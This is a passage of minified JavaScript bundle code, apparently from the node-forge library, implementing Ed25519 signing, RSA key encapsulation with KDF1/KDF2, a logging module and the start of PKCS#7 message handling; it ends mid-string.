yG=kEY.asn1;CEY.privateKeyValidator={name:"PrivateKeyInfo",tagClass:yG.Class.UNIVERSAL,type:yG.Type.SEQUENCE,constructed:!0,value:[{name:"PrivateKeyInfo.version",tagClass:yG.Class.UNIVERSAL,type:yG.Type.INTEGER,constructed:!1,capture:"privateKeyVersion"},{name:"PrivateKeyInfo.privateKeyAlgorithm",tagClass:yG.Class.UNIVERSAL,type:yG.Type.SEQUENCE,constructed:!0,value:[{name:"AlgorithmIdentifier.algorithm",tagClass:yG.Class.UNIVERSAL,type:yG.Type.OID,constructed:!1,capture:"privateKeyOid"}]},{name:"PrivateKeyInfo",tagClass:yG.Class.UNIVERSAL,type:yG.Type.OCTETSTRING,constructed:!1,capture:"privateKey"}]};CEY.publicKeyValidator={name:"SubjectPublicKeyInfo",tagClass:yG.Class.UNIVERSAL,type:yG.Type.SEQUENCE,constructed:!0,captureAsn1:"subjectPublicKeyInfo",value:[{name:"SubjectPublicKeyInfo.AlgorithmIdentifier",tagClass:yG.Class.UNIVERSAL,type:yG.Type.SEQUENCE,constructed:!0,value:[{name:"AlgorithmIdentifier.algorithm",tagClass:yG.Class.UNIVERSAL,type:yG.Type.OID,constructed:!1,capture:"publicKeyOid"}]},{tagClass:yG.Class.UNIVERSAL,type:yG.Type.BITSTRING,constructed:!1,composed:!0,captureBitStringValue:"ed25519PublicKey"}]}});var nG7=v((m4H,iG7)=>{var wW=m3();VBA();uC();Nj6();bY();var QG7=uG7(),yEY=QG7.publicKeyValidator,IEY=QG7.privateKeyValidator;if(typeof Ej6>"u")Ej6=wW.jsbn.BigInteger;var Ej6,kj6=wW.util.ByteBuffer,Pf=typeof Buffer>"u"?Uint8Array:Buffer;wW.pki=wW.pki||{};iG7.exports=wW.pki.ed25519=wW.ed25519=wW.ed25519||{};var Q9=wW.ed25519;Q9.constants={};Q9.constants.PUBLIC_KEY_BYTE_LENGTH=32;Q9.constants.PRIVATE_KEY_BYTE_LENGTH=64;Q9.constants.SEED_BYTE_LENGTH=32;Q9.constants.SIGN_BYTE_LENGTH=64;Q9.constants.HASH_BYTE_LENGTH=64;Q9.generateKeyPair=function(A){A=A||{};var K=A.seed;if(K===void 0)K=wW.random.getBytesSync(Q9.constants.SEED_BYTE_LENGTH);else if(typeof K==="string"){if(K.length!==Q9.constants.SEED_BYTE_LENGTH)throw TypeError('"seed" must be '+Q9.constants.SEED_BYTE_LENGTH+" bytes in length.")}else if(!(K instanceof Uint8Array))throw TypeError('"seed" must be a node.js Buffer, Uint8Array, or a binary string.');K=Dp({message:K,encoding:"binary"});var q=new Pf(Q9.constants.PUBLIC_KEY_BYTE_LENGTH),Y=new Pf(Q9.constants.PRIVATE_KEY_BYTE_LENGTH);for(var z=0;z<32;++z)Y[z]=K[z];return xEY(q,Y),{publicKey:q,privateKey:Y}};Q9.privateKeyFromAsn1=function(A){var K={},q=[],Y=wW.asn1.validate(A,IEY,K,q);if(!Y){var z=Error("Invalid Key.");throw z.errors=q,z}var w=wW.asn1.derToOid(K.privateKeyOid),H=wW.oids.EdDSA25519;if(w!==H)throw Error('Invalid OID "'+w+'"; OID must be "'+H+'".');var J=K.privateKey,O=Dp({message:wW.asn1.fromDer(J).value,encoding:"binary"});return{privateKeyBytes:O}};Q9.publicKeyFromAsn1=function(A){var K={},q=[],Y=wW.asn1.validate(A,yEY,K,q);if(!Y){var z=Error("Invalid Key.");throw z.errors=q,z}var w=wW.asn1.derToOid(K.publicKeyOid),H=wW.oids.EdDSA25519;if(w!==H)throw Error('Invalid OID "'+w+'"; OID must be "'+H+'".');var J=K.ed25519PublicKey;if(J.length!==Q9.constants.PUBLIC_KEY_BYTE_LENGTH)throw Error("Key length is invalid.");return Dp({message:J,encoding:"binary"})};Q9.publicKeyFromPrivateKey=function(A){A=A||{};var K=Dp({message:A.privateKey,encoding:"binary"});if(K.length!==Q9.constants.PRIVATE_KEY_BYTE_LENGTH)throw TypeError('"options.privateKey" must have a byte length of '+Q9.constants.PRIVATE_KEY_BYTE_LENGTH);var q=new Pf(Q9.constants.PUBLIC_KEY_BYTE_LENGTH);for(var Y=0;Y<q.length;++Y)q[Y]=K[32+Y];return q};Q9.sign=function(A){A=A||{};var K=Dp(A),q=Dp({message:A.privateKey,encoding:"binary"});if(q.length===Q9.constants.SEED_BYTE_LENGTH){var Y=Q9.generateKeyPair({seed:q});q=Y.privateKey}else if(q.length!==Q9.constants.PRIVATE_KEY_BYTE_LENGTH)throw TypeError('"options.privateKey" must have a byte length of '+Q9.constants.SEED_BYTE_LENGTH+" or "+Q9.constants.PRIVATE_KEY_BYTE_LENGTH);var z=new Pf(Q9.constants.SIGN_BYTE_LENGTH+K.length);uEY(z,K,K.length,q);var w=new Pf(Q9.constants.SIGN_BYTE_LENGTH);for(var H=0;H<w.length;++H)w[H]=z[H];return w};Q9.verify=function(A){A=A||{};var K=Dp(A);if(A.signature===void 0)throw TypeError('"options.signature" must be a node.js Buffer, a Uint8Array, a forge ByteBuffer, or a binary string.');var q=Dp({message:A.signature,encoding:"binary"});if(q.length!==Q9.constants.SIGN_BYTE_LENGTH)throw TypeError('"options.signature" must have a byte length of '+Q9.constants.SIGN_BYTE_LENGTH);var Y=Dp({message:A.publicKey,encoding:"binary"});if(Y.length!==Q9.constants.PUBLIC_KEY_BYTE_LENGTH)throw TypeError('"options.publicKey" must have a byte length of '+Q9.constants.PUBLIC_KEY_BYTE_LENGTH);var z=new Pf(Q9.constants.SIGN_BYTE_LENGTH+K.length),w=new Pf(Q9.constants.SIGN_BYTE_LENGTH+K.length),H;for(H=0;H<Q9.constants.SIGN_BYTE_LENGTH;++H)z[H]=q[H];for(H=0;H<K.length;++H)z[H+Q9.constants.SIGN_BYTE_LENGTH]=K[H];return BEY(w,z,z.length,Y)>=0};function Dp(A){var K=A.message;if(K instanceof Uint8Array||K instanceof Pf)return K;var q=A.encoding;if(K===void 0)if(A.md)K=A.md.digest().getBytes(),q="binary";else throw TypeError('"options.message" or "options.md" not specified.');if(typeof K==="string"&&!q)throw TypeError('"options.encoding" must be "binary" or "utf8".');if(typeof K==="string"){if(typeof Buffer<"u")return Buffer.from(K,q);K=new kj6(K,q)}else if(!(K instanceof kj6))throw TypeError('"options.message" must be a node.js Buffer, a Uint8Array, a forge ByteBuffer, or a string with "options.encoding" specifying its encoding.');var Y=new Pf(K.length());for(var z=0;z<Y.length;++z)Y[z]=K.at(z);return Y}var Cj6=kq(),O$1=kq([1]),SEY=kq([30883,4953,19914,30187,55467,16705,2637,112,59544,30585,16505,36039,65139,11119,27886,20995]),hEY=kq([61785,9906,39828,60374,45398,33411,5274,224,53552,61171,33010,6542,64743,22239,55772,9222]),BG7=kq([54554,36645,11616,51542,42930,38181,51040,26924,56412,64982,57905,49316,21502,52590,14035,8553]),mG7=kq([26200,26214,26214,26214,26214,26214,26214,26214,26214,26214,26214,26214,26214,26214,26214,26214]),Tj6=new Float64Array([237,211,245,92,26,99,18,88,214,156,247,162,222,249,222,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16]),bEY=kq([41136,18958,6951,50414,58488,44335,6150,12099,55207,15867,153,11085,57099,20417,9344,11139]);function kBA(A,K){var q=wW.md.sha512.create(),Y=new kj6(A);q.update(Y.getBytes(K),"binary");var z=q.digest().getBytes();if(typeof Buffer<"u")return Buffer.from(z,"binary");var w=new Pf(Q9.constants.HASH_BYTE_LENGTH);for(var H=0;H<64;++H)w[H]=z.charCodeAt(H);return w}function xEY(A,K){var q=[kq(),kq(),kq(),kq()],Y,z=kBA(K,32);z[0]&=248,z[31]&=127,z[31]|=64,Ij6(q,z),yj6(A,q);for(Y=0;Y<32;++Y)K[Y+32]=A[Y];return 0}function uEY(A,K,q,Y){var z,w,H=new Float64Array(64),J=[kq(),kq(),kq(),kq()],O=kBA(Y,32);O[0]&=248,O[31]&=127,O[31]|=64;var X=q+64;for(z=0;z<q;++z)A[64+z]=K[z];for(z=0;z<32;++z)A[32+z]=O[32+z];var $=kBA(A.subarray(32),q+32);Lj6($),Ij6(J,$),yj6(A,J);for(z=32;z<64;++z)A[z]=Y[z];var _=kBA(A,q+64);Lj6(_);for(z=32;z<64;++z)H[z]=0;for(z=0;z<32;++z)H[z]=$[z];for(z=0;z<32;++z)for(w=0;w<32;w++)H[z+w]+=_[z]*O[w];return UG7(A.subarray(32),H),X}function BEY(A,K,q,Y){var z,w,H=new Pf(32),J=[kq(),kq(),kq(),kq()],O=[kq(),kq(),kq(),kq()];if(w=-1,q<64)return-1;if(mEY(O,Y))return-1;for(z=0;z<q;++z)A[z]=K[z];for(z=0;z<32;++z)A[z+32]=Y[z];var X=kBA(A,q);if(Lj6(X),cG7(J,O,X),Ij6(O,K.subarray(32)),Rj6(J,O),yj6(H,J),q-=64,pG7(K,0,H,0)){for(z=0;z<q;++z)A[z]=0;return-1}for(z=0;z<q;++z)A[z]=K[z+64];return w=q,w}function UG7(A,K){var q,Y,z,w;for(Y=63;Y>=32;--Y){q=0;for(z=Y-32,w=Y-12;z<w;++z)K[z]+=q-16*K[Y]*Tj6[z-(Y-32)],q=K[z]+128>>8,K[z]-=q*256;K[z]+=q,K[Y]=0}q=0;for(z=0;z<32;++z)K[z]+=q-(K[31]>>4)*Tj6[z],q=K[z]>>8,K[z]&=255;for(z=0;z<32;++z)K[z]-=q*Tj6[z];for(Y=0;Y<32;++Y)K[Y+1]+=K[Y]>>8,A[Y]=K[Y]&255}function Lj6(A){var K=new Float64Array(64);for(var q=0;q<64;++q)K[q]=A[q],A[q]=0;UG7(A,K)}function Rj6(A,K){var q=kq(),Y=kq(),z=kq(),w=kq(),H=kq(),J=kq(),O=kq(),X=kq(),$=kq();mZA(q,A[1],A[0]),mZA($,K[1],K[0]),vw(q,q,$),BZA(Y,A[0],A[1]),BZA($,K[0],K[1]),vw(Y,Y,$),vw(z,A[3],K[3]),vw(z,z,hEY),vw(w,A[2],K[2]),BZA(w,w,w),mZA(H,Y,q),mZA(J,w,z),BZA(O,w,z),BZA(X,Y,q),vw(A[0],H,J),vw(A[1],X,O),vw(A[2],O,J),vw(A[3],H,X)}function gG7(A,K,q){for(var Y=0;Y<4;++Y)lG7(A[Y],K[Y],q)}function yj6(A,K){var q=kq(),Y=kq(),z=kq();UEY(z,K[2]),vw(q,K[0],z),vw(Y,K[1],z),X$1(A,Y),A[31]^=dG7(q)<<7}function X$1(A,K){var q,Y,z,w=kq(),H=kq();for(q=0;q<16;++q)H[q]=K[q];vj6(H),vj6(H),vj6(H);for(Y=0;Y<2;++Y){w[0]=H[0]-65517;for(q=1;q<15;++q)w[q]=H[q]-65535-(w[q-1]>>16&1),w[q-1]&=65535;w[15]=H[15]-32767-(w[14]>>16&1),z=w[15]>>16&1,w[14]&=65535,lG7(H,w,1-z)}for(q=0;q<16;q++)A[2*q]=H[q]&255,A[2*q+1]=H[q]>>8}function mEY(A,K){var q=kq(),Y=kq(),z=kq(),w=kq(),H=kq(),J=kq(),O=kq();if(Qa(A[2],O$1),gEY(A[1],K),IqA(z,A[1]),vw(w,z,SEY),mZA(z,z,A[2]),BZA(w,A[2],w),IqA(H,w),IqA(J,H),vw(O,J,H),vw(q,O,z),vw(q,q,w),FEY(q,q),vw(q,q,z),vw(q,q,w),vw(q,q,w),vw(A[0],q,w),IqA(Y,A[0]),vw(Y,Y,w),FG7(Y,z))vw(A[0],A[0],bEY);if(IqA(Y,A[0]),vw(Y,Y,w),FG7(Y,z))return-1;if(dG7(A[0])===K[31]>>7)mZA(A[0],Cj6,A[0]);return vw(A[3],A[0],A[1]),0}function gEY(A,K){var q;for(q=0;q<16;++q)A[q]=K[2*q]+(K[2*q+1]<<8);A[15]&=32767}function FEY(A,K){var q=kq(),Y;for(Y=0;Y<16;++Y)q[Y]=K[Y];for(Y=250;Y>=0;--Y)if(IqA(q,q),Y!==1)vw(q,q,K);for(Y=0;Y<16;++Y)A[Y]=q[Y]}function FG7(A,K){var q=new Pf(32),Y=new Pf(32);return X$1(q,A),X$1(Y,K),pG7(q,0,Y,0)}function pG7(A,K,q,Y){return QEY(A,K,q,Y,32)}function QEY(A,K,q,Y,z){var w,H=0;for(w=0;w<z;++w)H|=A[K+w]^q[Y+w];return(1&H-1>>>8)-1}function dG7(A){var K=new Pf(32);return X$1(K,A),K[0]&1}function cG7(A,K,q){var Y,z;Qa(A[0],Cj6),Qa(A[1],O$1),Qa(A[2],O$1),Qa(A[3],Cj6);for(z=255;z>=0;--z)Y=q[z/8|0]>>(z&7)&1,gG7(A,K,Y),Rj6(K,A),Rj6(A,A),gG7(A,K,Y)}function Ij6(A,K){var q=[kq(),kq(),kq(),kq()];Qa(q[0],BG7),Qa(q[1],mG7),Qa(q[2],O$1),vw(q[3],BG7,mG7),cG7(A,q,K)}function Qa(A,K){var q;for(q=0;q<16;q++)A[q]=K[q]|0}function UEY(A,K){var q=kq(),Y;for(Y=0;Y<16;++Y)q[Y]=K[Y];for(Y=253;Y>=0;--Y)if(IqA(q,q),Y!==2&&Y!==4)vw(q,q,K);for(Y=0;Y<16;++Y)A[Y]=q[Y]}function vj6(A){var K,q,Y=1;for(K=0;K<16;++K)q=A[K]+Y+65535,Y=Math.floor(q/65536),A[K]=q-Y*65536;A[0]+=Y-1+37*(Y-1)}function lG7(A,K,q){var Y,z=~(q-1);for(var w=0;w<16;++w)Y=z&(A[w]^K[w]),A[w]^=Y,K[w]^=Y}function kq(A){var K,q=new Float64Array(16);if(A)for(K=0;K<A.length;++K)q[K]=A[K];return q}function BZA(A,K,q){for(var Y=0;Y<16;++Y)A[Y]=K[Y]+q[Y]}function mZA(A,K,q){for(var Y=0;Y<16;++Y)A[Y]=K[Y]-q[Y]}function IqA(A,K){vw(A,K,K)}function vw(A,K,q){var Y,z,w=0,H=0,J=0,O=0,X=0,$=0,_=0,G=0,Z=0,W=0,D=0,j=0,M=0,P=0,f=0,N=0,T=0,C=0,R=0,x=0,y=0,B=0,b=0,F=0,Q=0,u=0,d=0,r=0,c=0,YA=0,e=0,qA=q[0],HA=q[1],_A=q[2],a=q[3],JA=q[4],jA=q[5],MA=q[6],hA=q[7],yA=q[8],AA=q[9],wA=q[10],GA=q[11],OA=q[12],t=q[13],XA=q[14],VA=q[15];Y=K[0],w+=Y*qA,H+=Y*HA,J+=Y*_A,O+=Y*a,X+=Y*JA,$+=Y*jA,_+=Y*MA,G+=Y*hA,Z+=Y*yA,W+=Y*AA,D+=Y*wA,j+=Y*GA,M+=Y*OA,P+=Y*t,f+=Y*XA,N+=Y*VA,Y=K[1],H+=Y*qA,J+=Y*HA,O+=Y*_A,X+=Y*a,$+=Y*JA,_+=Y*jA,G+=Y*MA,Z+=Y*hA,W+=Y*yA,D+=Y*AA,j+=Y*wA,M+=Y*GA,P+=Y*OA,f+=Y*t,N+=Y*XA,T+=Y*VA,Y=K[2],J+=Y*qA,O+=Y*HA,X+=Y*_A,$+=Y*a,_+=Y*JA,G+=Y*jA,Z+=Y*MA,W+=Y*hA,D+=Y*yA,j+=Y*AA,M+=Y*wA,P+=Y*GA,f+=Y*OA,N+=Y*t,T+=Y*XA,C+=Y*VA,Y=K[3],O+=Y*qA,X+=Y*HA,$+=Y*_A,_+=Y*a,G+=Y*JA,Z+=Y*jA,W+=Y*MA,D+=Y*hA,j+=Y*yA,M+=Y*AA,P+=Y*wA,f+=Y*GA,N+=Y*OA,T+=Y*t,C+=Y*XA,R+=Y*VA,Y=K[4],X+=Y*qA,$+=Y*HA,_+=Y*_A,G+=Y*a,Z+=Y*JA,W+=Y*jA,D+=Y*MA,j+=Y*hA,M+=Y*yA,P+=Y*AA,f+=Y*wA,N+=Y*GA,T+=Y*OA,C+=Y*t,R+=Y*XA,x+=Y*VA,Y=K[5],$+=Y*qA,_+=Y*HA,G+=Y*_A,Z+=Y*a,W+=Y*JA,D+=Y*jA,j+=Y*MA,M+=Y*hA,P+=Y*yA,f+=Y*AA,N+=Y*wA,T+=Y*GA,C+=Y*OA,R+=Y*t,x+=Y*XA,y+=Y*VA,Y=K[6],_+=Y*qA,G+=Y*HA,Z+=Y*_A,W+=Y*a,D+=Y*JA,j+=Y*jA,M+=Y*MA,P+=Y*hA,f+=Y*yA,N+=Y*AA,T+=Y*wA,C+=Y*GA,R+=Y*OA,x+=Y*t,y+=Y*XA,B+=Y*VA,Y=K[7],G+=Y*qA,Z+=Y*HA,W+=Y*_A,D+=Y*a,j+=Y*JA,M+=Y*jA,P+=Y*MA,f+=Y*hA,N+=Y*yA,T+=Y*AA,C+=Y*wA,R+=Y*GA,x+=Y*OA,y+=Y*t,B+=Y*XA,b+=Y*VA,Y=K[8],Z+=Y*qA,W+=Y*HA,D+=Y*_A,j+=Y*a,M+=Y*JA,P+=Y*jA,f+=Y*MA,N+=Y*hA,T+=Y*yA,C+=Y*AA,R+=Y*wA,x+=Y*GA,y+=Y*OA,B+=Y*t,b+=Y*XA,F+=Y*VA,Y=K[9],W+=Y*qA,D+=Y*HA,j+=Y*_A,M+=Y*a,P+=Y*JA,f+=Y*jA,N+=Y*MA,T+=Y*hA,C+=Y*yA,R+=Y*AA,x+=Y*wA,y+=Y*GA,B+=Y*OA,b+=Y*t,F+=Y*XA,Q+=Y*VA,Y=K[10],D+=Y*qA,j+=Y*HA,M+=Y*_A,P+=Y*a,f+=Y*JA,N+=Y*jA,T+=Y*MA,C+=Y*hA,R+=Y*yA,x+=Y*AA,y+=Y*wA,B+=Y*GA,b+=Y*OA,F+=Y*t,Q+=Y*XA,u+=Y*VA,Y=K[11],j+=Y*qA,M+=Y*HA,P+=Y*_A,f+=Y*a,N+=Y*JA,T+=Y*jA,C+=Y*MA,R+=Y*hA,x+=Y*yA,y+=Y*AA,B+=Y*wA,b+=Y*GA,F+=Y*OA,Q+=Y*t,u+=Y*XA,d+=Y*VA,Y=K[12],M+=Y*qA,P+=Y*HA,f+=Y*_A,N+=Y*a,T+=Y*JA,C+=Y*jA,R+=Y*MA,x+=Y*hA,y+=Y*yA,B+=Y*AA,b+=Y*wA,F+=Y*GA,Q+=Y*OA,u+=Y*t,d+=Y*XA,r+=Y*VA,Y=K[13],P+=Y*qA,f+=Y*HA,N+=Y*_A,T+=Y*a,C+=Y*JA,R+=Y*jA,x+=Y*MA,y+=Y*hA,B+=Y*yA,b+=Y*AA,F+=Y*wA,Q+=Y*GA,u+=Y*OA,d+=Y*t,r+=Y*XA,c+=Y*VA,Y=K[14],f+=Y*qA,N+=Y*HA,T+=Y*_A,C+=Y*a,R+=Y*JA,x+=Y*jA,y+=Y*MA,B+=Y*hA,b+=Y*yA,F+=Y*AA,Q+=Y*wA,u+=Y*GA,d+=Y*OA,r+=Y*t,c+=Y*XA,YA+=Y*VA,Y=K[15],N+=Y*qA,T+=Y*HA,C+=Y*_A,R+=Y*a,x+=Y*JA,y+=Y*jA,B+=Y*MA,b+=Y*hA,F+=Y*yA,Q+=Y*AA,u+=Y*wA,d+=Y*GA,r+=Y*OA,c+=Y*t,YA+=Y*XA,e+=Y*VA,w+=38*T,H+=38*C,J+=38*R,O+=38*x,X+=38*y,$+=38*B,_+=38*b,G+=38*F,Z+=38*Q,W+=38*u,D+=38*d,j+=38*r,M+=38*c,P+=38*YA,f+=38*e,z=1,Y=w+z+65535,z=Math.floor(Y/65536),w=Y-z*65536,Y=H+z+65535,z=Math.floor(Y/65536),H=Y-z*65536,Y=J+z+65535,z=Math.floor(Y/65536),J=Y-z*65536,Y=O+z+65535,z=Math.floor(Y/65536),O=Y-z*65536,Y=X+z+65535,z=Math.floor(Y/65536),X=Y-z*65536,Y=$+z+65535,z=Math.floor(Y/65536),$=Y-z*65536,Y=_+z+65535,z=Math.floor(Y/65536),_=Y-z*65536,Y=G+z+65535,z=Math.floor(Y/65536),G=Y-z*65536,Y=Z+z+65535,z=Math.floor(Y/65536),Z=Y-z*65536,Y=W+z+65535,z=Math.floor(Y/65536),W=Y-z*65536,Y=D+z+65535,z=Math.floor(Y/65536),D=Y-z*65536,Y=j+z+65535,z=Math.floor(Y/65536),j=Y-z*65536,Y=M+z+65535,z=Math.floor(Y/65536),M=Y-z*65536,Y=P+z+65535,z=Math.floor(Y/65536),P=Y-z*65536,Y=f+z+65535,z=Math.floor(Y/65536),f=Y-z*65536,Y=N+z+65535,z=Math.floor(Y/65536),N=Y-z*65536,w+=z-1+37*(z-1),z=1,Y=w+z+65535,z=Math.floor(Y/65536),w=Y-z*65536,Y=H+z+65535,z=Math.floor(Y/65536),H=Y-z*65536,Y=J+z+65535,z=Math.floor(Y/65536),J=Y-z*65536,Y=O+z+65535,z=Math.floor(Y/65536),O=Y-z*65536,Y=X+z+65535,z=Math.floor(Y/65536),X=Y-z*65536,Y=$+z+65535,z=Math.floor(Y/65536),$=Y-z*65536,Y=_+z+65535,z=Math.floor(Y/65536),_=Y-z*65536,Y=G+z+65535,z=Math.floor(Y/65536),G=Y-z*65536,Y=Z+z+65535,z=Math.floor(Y/65536),Z=Y-z*65536,Y=W+z+65535,z=Math.floor(Y/65536),W=Y-z*65536,Y=D+z+65535,z=Math.floor(Y/65536),D=Y-z*65536,Y=j+z+65535,z=Math.floor(Y/65536),j=Y-z*65536,Y=M+z+65535,z=Math.floor(Y/65536),M=Y-z*65536,Y=P+z+65535,z=Math.floor(Y/65536),P=Y-z*65536,Y=f+z+65535,z=Math.floor(Y/65536),f=Y-z*65536,Y=N+z+65535,z=Math.floor(Y/65536),N=Y-z*65536,w+=z-1+37*(z-1),A[0]=w,A[1]=H,A[2]=J,A[3]=O,A[4]=X,A[5]=$,A[6]=_,A[7]=G,A[8]=Z,A[9]=W,A[10]=D,A[11]=j,A[12]=M,A[13]=P,A[14]=f,A[15]=N}});var sG7=v((g4H,aG7)=>{var oT=m3();bY();uC();VBA();aG7.exports=oT.kem=oT.kem||{};var rG7=oT.jsbn.BigInteger;oT.kem.rsa={};oT.kem.rsa.create=function(A,K){K=K||{};var q=K.prng||oT.random,Y={};return Y.encrypt=function(z,w){var H=Math.ceil(z.n.bitLength()/8),J;do J=new rG7(oT.util.bytesToHex(q.getBytesSync(H)),16).mod(z.n);while(J.compareTo(rG7.ONE)<=0);J=oT.util.hexToBytes(J.toString(16));var O=H-J.length;if(O>0)J=oT.util.fillString(String.fromCharCode(0),O)+J;var X=z.encrypt(J,"NONE"),$=A.generate(J,w);return{encapsulation:X,key:$}},Y.decrypt=function(z,w,H){var J=z.decrypt(w,"NONE");return A.generate(J,H)},Y};oT.kem.kdf1=function(A,K){oG7(this,A,0,K||A.digestLength)};oT.kem.kdf2=function(A,K){oG7(this,A,1,K||A.digestLength)};function oG7(A,K,q,Y){A.generate=function(z,w){var H=new oT.util.ByteBuffer,J=Math.ceil(w/Y)+q,O=new oT.util.ByteBuffer;for(var X=q;X<J;++X){O.putInt32(X),K.start(),K.update(z+O.getBytes());var $=K.digest();H.putBytes($.getBytes(Y))}return H.truncate(H.length()-w),H.getBytes()}}});var eG7=v((F4H,tG7)=>{var AY=m3();bY();tG7.exports=AY.log=AY.log||{};AY.log.levels=["none","error","warning","info","debug","verbose","max"];var G$1={},Sj6=[],CBA=null;AY.log.LEVEL_LOCKED=2;AY.log.NO_LEVEL_CHECK=4;AY.log.INTERPOLATE=8;for(UC=0;UC<AY.log.levels.length;++UC)$$1=AY.log.levels[UC],G$1[$$1]={index:UC,name:$$1.toUpperCase()};var $$1,UC;AY.log.logMessage=function(A){var K=G$1[A.level].index;for(var q=0;q<Sj6.length;++q){var Y=Sj6[q];if(Y.flags&AY.log.NO_LEVEL_CHECK)Y.f(A);else{var z=G$1[Y.level].index;if(K<=z)Y.f(Y,A)}}};AY.log.prepareStandard=function(A){if(!("standard"in A))A.standard=G$1[A.level].name+" ["+A.category+"] "+A.message};AY.log.prepareFull=function(A){if(!("full"in A)){var K=[A.message];K=K.concat([]),A.full=AY.util.format.apply(this,K)}};AY.log.prepareStandardFull=function(A){if(!("standardFull"in A))AY.log.prepareStandard(A),A.standardFull=A.standard};_$1=["error","warning","info","debug","verbose"];for(UC=0;UC<_$1.length;++UC)(function(K){AY.log[K]=function(q,Y){var z=Array.prototype.slice.call(arguments).slice(2),w={timestamp:new Date,level:K,category:q,message:Y,arguments:z};AY.log.logMessage(w)}})(_$1[UC]);var _$1,UC;AY.log.makeLogger=function(A){var K={flags:0,f:A};return AY.log.setLevel(K,"none"),K};AY.log.setLevel=function(A,K){var q=!1;if(A&&!(A.flags&AY.log.LEVEL_LOCKED))for(var Y=0;Y<AY.log.levels.length;++Y){var z=AY.log.levels[Y];if(K==z){A.level=K,q=!0;break}}return q};AY.log.lock=function(A,K){if(typeof K>"u"||K)A.flags|=AY.log.LEVEL_LOCKED;else A.flags&=~AY.log.LEVEL_LOCKED};AY.log.addLogger=function(A){Sj6.push(A)};if(typeof console<"u"&&"log"in console){if(console.error&&console.warn&&console.info&&console.debug)hj6={error:console.error,warning:console.warn,info:console.info,debug:console.debug,verbose:console.debug},FZA=function(A,K){AY.log.prepareStandard(K);var q=hj6[K.level],Y=[K.standard];Y=Y.concat(K.arguments.slice()),q.apply(console,Y)},SqA=AY.log.makeLogger(FZA);else FZA=function(K,q){AY.log.prepareStandardFull(q),console.log(q.standardFull)},SqA=AY.log.makeLogger(FZA);AY.log.setLevel(SqA,"debug"),AY.log.addLogger(SqA),CBA=SqA}else console={log:function(){}};var SqA,hj6,FZA;if(CBA!==null&&typeof window<"u"&&window.location){if(gZA=new URL(window.location.href).searchParams,gZA.has("console.level"))AY.log.setLevel(CBA,gZA.get("console.level").slice(-1)[0]);if(gZA.has("console.lock")){if(bj6=gZA.get("console.lock").slice(-1)[0],bj6=="true")AY.log.lock(CBA)}}var gZA,bj6;AY.log.consoleLogger=CBA});var KZ7=v((Q4H,AZ7)=>{AZ7.exports=ru();cX1();SZA();lD6();Nj6()});var zZ7=v((U4H,YZ7)=>{var U4=m3();ha();xI();MBA();ba();vqA();Hj6();uC();bY();z$1();var p1=U4.asn1,lM=YZ7.exports=U4.pkcs7=U4.pkcs7||{};lM.messageFromPem=function(A){var K=U4.pem.decode(A)[0];if(K.type!=="PKCS7"){var q=Error('Could not convert PKCS#7 message from PEM; PEM header type is not "PKCS#7".');throw q.headerType=K.type,q}if(K.procType&&K.procType.type==="ENCRYPTED")throw Error("Could not convert PKCS#7 message from PEM; PEM is encrypted.");var Y=p1.fromDer(K.body);return lM.messageFromAsn1(Y)};lM.messageToPem=function(A,K){var q={type:"PKCS7",body:p1.toDer(A.toAsn1()).getBytes()};return U4.pem.encode(q,{maxline:K})};lM.messageFromAsn1=function(A){var K={},q=[];if(!p1.validate(A,lM.asn1.contentInfoValidator,K,q)){var Y=Error("Cannot read PKCS#7 message. ASN.1 object is not an PKCS#7 ContentInfo.");throw Y.errors=q,Y}var z=p1.derToOid(K.contentType),w;switch(z){case U4.pki.oids.envelopedData:w=lM.createEnvelopedData();break;case U4.pki.oids.encryptedData:w=lM.createEncryptedData();break;case U4.pki.oids.signedData:w=lM.createSignedData();break;default:throw Error("Cannot read PKCS#7 message. ContentType with OID "+z+" is not (yet) supported.")}return w.fromAsn1(K.content.value[0]),w};lM.createSignedData=function(){var A=null;return A={type:U4.pki.oids.signedData,version:1,certificates:[],crls:[],signers:[],digestAlgorithmIdentifiers:[],contentInfo:null,signerInfos:[],fromAsn1:function(Y){if(uj6(A,Y,lM.asn1.signedDataValidator),A.certificates=[],A.crls=[],A.digestAlgorithmIdentifiers=[],A.contentInfo=null,A.signerInfos=[],A.rawCapture.certificates){var z=A.rawCapture.certificates.value;for(var w=0;w<z.length;++w)A.certificates.push(U4.pki.certificateFromAsn1(z[w]))}},toAsn1:function(){if(!A.contentInfo)A.sign();var Y=[];for(var z=0;z<A.certificates.length;++z)Y.push(U4.pki.certificateToAsn1(A.certificates[z]));var w=[],H=p1.create(p1.Class.CONTEXT_SPECIFIC,0,!0,[p1.create(p1.Class.UNIVERSAL,p1.Type.SEQUENCE,!0,[p1.create(p1.Class.UNIVERSAL,p1.Type.INTEGER,!1,p1.integerToDer(A.version).getBytes()),p1.create(p1.Class.UNIVERSAL,p1.Type.SET,!0,A.digestAlgorithmIdentifiers),A.contentInfo])]);if(Y.length>0)H.value[0].value.push(p1.create(p1.Class.CONTEXT_SPECIFIC,0,!0,Y));if(w.length>0)H.value[0].value.push(p1.create(p1.Class.CONTEXT_SPECIFIC,1,!0,w));return H.value[0].value.push(p1.create(p1.Class.UNIVERSAL,p1.Type.SET,!0,A.signerInfos)),p1.create(p1.Class.UNIVERSAL,p1.Type.SEQUENCE,!0,[p1.create(p1.Class.UNIVERSAL,p1.Type.OID,!1,p1.oidToDer(A.type).getBytes()),H])},addSigner:function(Y){var{issuer:z,serialNumber:w}=Y;if(Y.certificate){var H=Y.certificate;if(typeof H==="string")H=U4.pki.certificateFromPem(H);z=H.issuer.attributes,w=H.serialNumber}var J=Y.key;if(!J)throw Error("Could not add PKCS#7 signer; no private key specified.");if(typeof J==="string")J=U4.pki.privateKeyFromPem(J);var O=Y.digestAlgorithm||U4.pki.oids.sha1;switch(O){case U4.pki.oids.sha1:case U4.pki.oids.sha256:case U4.pki.oids.sha384:case U4.pki.oids.sha512:case U4.pki.oids.md5:break;default:throw Error("Could not add PKCS#7 signer; unknown message digest algorithm: "+O)}var X=Y.authenticatedAttributes||[];if(X.length>0){var $=!1,_=!1;for(var G=0;G<X.length;++G){var Z=X[G];if(!$&&Z.type===U4.pki.oids.contentType){if($=!0,_)break;continue}if(!_&&Z.type===U4.pki.oids.messageDigest){if(_=!0,$)break;continue}}if(!$||!_)throw Error("Invalid signer.authenticatedAttributes. If signer.authenticatedAttributes is specified, then it must contain at least two attributes, PKCS #9 content-type and PKCS #9 